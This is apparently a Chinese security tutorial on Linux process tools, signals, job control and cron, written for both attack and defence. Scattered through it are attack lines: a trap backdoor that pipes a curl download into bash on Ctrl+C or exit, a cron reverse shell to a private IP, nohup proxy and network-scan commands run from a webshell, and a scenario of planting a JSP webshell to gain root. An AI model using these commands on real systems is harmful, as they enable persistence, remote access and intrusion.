🙉进程和计划任务

进程和计划任务在实战场景中会利用到,例如在提权方面、应急响应。在攻击与防守都需要了解进程和计划任务。例如在无内核漏洞时,利用系统自带高权限目录、高权限进程来提权,利用管理员计划任务中的Bash脚本提权;

进程

进程是一种抽象的概念,从来没有统一标准定义,进程由,程序、数据集合、进程控制分三部分组成。

  • 程序用于描述进程要完成的功能,是控制进程执行的指令集;

  • 数据库集合是程序在执行时所需要的数据和工作区;

  • 程序控制块(PCB),包含进程的描述信息和控制信息,是进程存在唯一标志

  • 进程的特征:

  • 动态性:进程是程序的一次执行过程,临时的、有生命期、动态产生、动态消亡

  • 并发生:任何进程都可以和其他进程一起并发执行

  • 独立性:是由系统进行资源分配和高度的一个独立单位

  • 结构性:程序、数据、进程控制块三部分组成

进程管理和性能相关工具

pstree

yum install psmisc -y
-p 显示PID
-T 不显示线程thread,默认显示线程
-u 显示用户切换
-H pid 高亮显示指定进程及其前辈进程

#常用选项
pstree -uT
pstree -pT

进程信息ps

默认显示当前终端信息,Linux进程信息保存在/proc/PID目录下各文件中

  • a:显示一个终端的所有进程;

  • u:显示进程的归属用户及内存的使用情况;

  • x:显示没有控制终端的进程;

  • -l:长格式显示更加详细的信息;

  • -e:显示所有进程;

#显示进程详细命令
ps axo pid,cmd
 
#常用组合
ps aux
ps -ef
ps -efH
 
#查看进程父子关系
ps auxf
 
#只显示指定用户名、ID进程
ps -fU apache|ID

场景:在某个省级演练中,在内网针对靶标发起攻击,通过爆破获得一个普通权限,查看进程发现有tomcat进程,将WebShell写入到tomcat目录下,访问JSP就是root权限。

进程实时状态top

top
 
uptime信息:l
tasks及cpu信息:t
memory信息:m
 
#htop是top增强版
htop

查看进程打开文件

lsof 命令,“list opened files”的缩写,直译过来,就是列举系统中已经被打开的文件。

通过 lsof 命令,我们就可以根据文件找到对应的进程信息,也可以根据进程信息找到进程打开的文件。

lsof -o PID #查看进程打开的文件
lsof -c httpd #查看指定程序打开的文件
lsof -i -n #查看网络连接
lsof -i -n -a -p PID #查看指定进程打开的网络连接
lsof -n -P -i TCP -s TCP:ESTABLISHED #查看指定状态的网络连接

结束进程

kill 命令只是用来向进程发送一个信号,至于这个信号是什么,是用户指定的。

kill 命令的执行原理是这样的,kill 命令会向操作系统内核发送一个信号(终止信号)和目标进程的 PID,然后系统内核根据收到的信号类型,对指定进程进行相应的操作。

信号编号

信号名

含义

0

EXIT

程序退出时收到该信息。

1

HUP

挂掉电话线或终端连接的挂起信号,这个信号也会造成某些进程在没有终止的情况下重新初始化。

2

INT

表示结束进程,但并不是强制性的,常用的 "Ctrl+C" 组合键发出就是一个 kill -2 的信号。

3

QUIT

退出。

9

KILL

杀死进程,即强制结束进程。

11

SEGV

段错误。

15

TERM

正常结束进程,是 kill 命令的默认信号。

#显示当前系统可用信号
kill -l
trap -l
 
#强制结束进程
kill -9 pid
 
#结束进程名,而非通过PID
killall

信号发送

结束进程是通过发送信号,由内核来帮我们操作,像信号9用于结束进程

常用信号:

SIGHUP

挂起进程

1

SIGINT

终止进程;Ctrl+c

2

SIGQUIT

停止进程

3

SIGKILL

强制杀死

9

SIGTERM

尽可能终止

15

SIGSTOP

无条件停止进程,但不是终止进程

19

SIGCONT

继续运行

18

ATT&CK T1154

trap命令用于指定在接收到信号后将要采取的动作,常见的用途是在脚本程序被中断时完成清理工作。

当shell接收到sigspec指定的信号时,arg参数(命令)将会被读取,并被执行。例如:

可以用于来做后门:

trap 'nohup curl -sS
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1546.005/src/echo-art-fish.sh | bash' SIGINT

当管理员按CTRL + C都会被执行

如果Bash shell收到了SIGHUP信号,当你要离开一个交互式shell,它就会退出,但是在退出之前,它会将SIGHUP信号传给所有由该shell所启动的进程。

退出终端将会下载执行脚本:

trap 'nohup curl -sS
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1546.005/src/echo-art-fish.sh | bash' EXIT

进程后台管理

让程序运行于后台

  • Ctrl + Z

  • COMMAND &

后台运行剥离与终端关系

nohup COMMAND &>/dev/null &
screen; COMMAND
tmux; COMMAND
 
#查看当前作业
jobs
 
#作业控制
fg #后台作业调回前台
bg #后台继续运行
kill #终止

场景:在WebShell如何进行FRP代理? 持久化的执行我们的扫描任务?

nohup /tmp/amd64c -a 1.1.1.1 -p 4436 -t pass -r 5672 &
 
nohup /tmp/fscan -h 192.168.0.0/16 -nopoc &

计划任务

挖矿等木马,常常会把执行脚本文件写入到计划任务中;

提权场景。

cron

  • /etc/crontab 主配置文件

  • /etc/cron.d/ 子配置文件

  • /var/spool/cron/USER 用户文件

                    
  • -e 编辑某个用户的 crontab 文件内容。如果不指定用户,则表示编辑当前用户的 crontab 文件

  • -l 显示某用户的 crontab 文件内容,如果不指定用户,则表示显示当前用户的 crontab 文件内容。

#每天凌晨1点20分清除/var/log/slow.log这个文件
20 1 * * * echo "" >   /var/log/slow.log
 
#11月每天的6-12点之间每隔2小时执行/app/bin/test.sh
0 6-12/2 * 11 * /app/bin/test.sh
 
#反弹Shell
echo '*/1 * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0>&1' >/etc/crontab

Last updated